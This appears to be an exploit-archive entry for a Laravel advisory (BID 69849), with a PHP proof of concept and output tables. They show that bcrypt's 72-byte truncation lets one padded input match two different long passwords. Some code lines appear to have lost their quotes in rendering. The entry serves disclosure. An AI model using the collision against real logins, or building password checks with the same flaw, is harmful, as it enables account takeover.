39 lines
No EOL
1.3 KiB
Text
39 lines
No EOL
1.3 KiB
Text
source: https://www.securityfocus.com/bid/69849/info
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Laravel is prone to a security weakness due to pseudo password hash collision.
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Attackers can exploit this issue to bypass intended security restrictions. This may aid in further attacks.
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// user input password
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$input = str_repeat('A',72);
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// plaintext password
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$pass1 =
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.'mysupersecretpassword';
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$pass2 =
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.'longcatishere';
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// hashed password
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$hash1 = Hash::make($pass1);
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$hash2 = Hash::make($pass2);
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// match?
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$status1 = Hash::check($input, $hash1)?'Yes':'No';
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$status2 = Hash::check($input, $hash2)?'Yes':'No';
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User 1
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Desc. Value
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$input
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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$pass1
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmysupersecretpassword
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Hash::make($pass1)
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$2y$10$9oMcpTwHgTzR5ZUMqlnMMOx/P18QZ5e9054lq.pwxw1O9urX3JHHu
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Hash::check($input, $hash1) Yes
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User 2
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Desc. Value
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$input
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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$pass2
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlongcatishere
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Hash::make($pass2)
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$2y$10$W7wwB4nLmFjrenJGmx1uauqhjzikZNZA0qzxH8wkbiSmVatCYrAUm
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Hash::check($input, $hash2) Yes |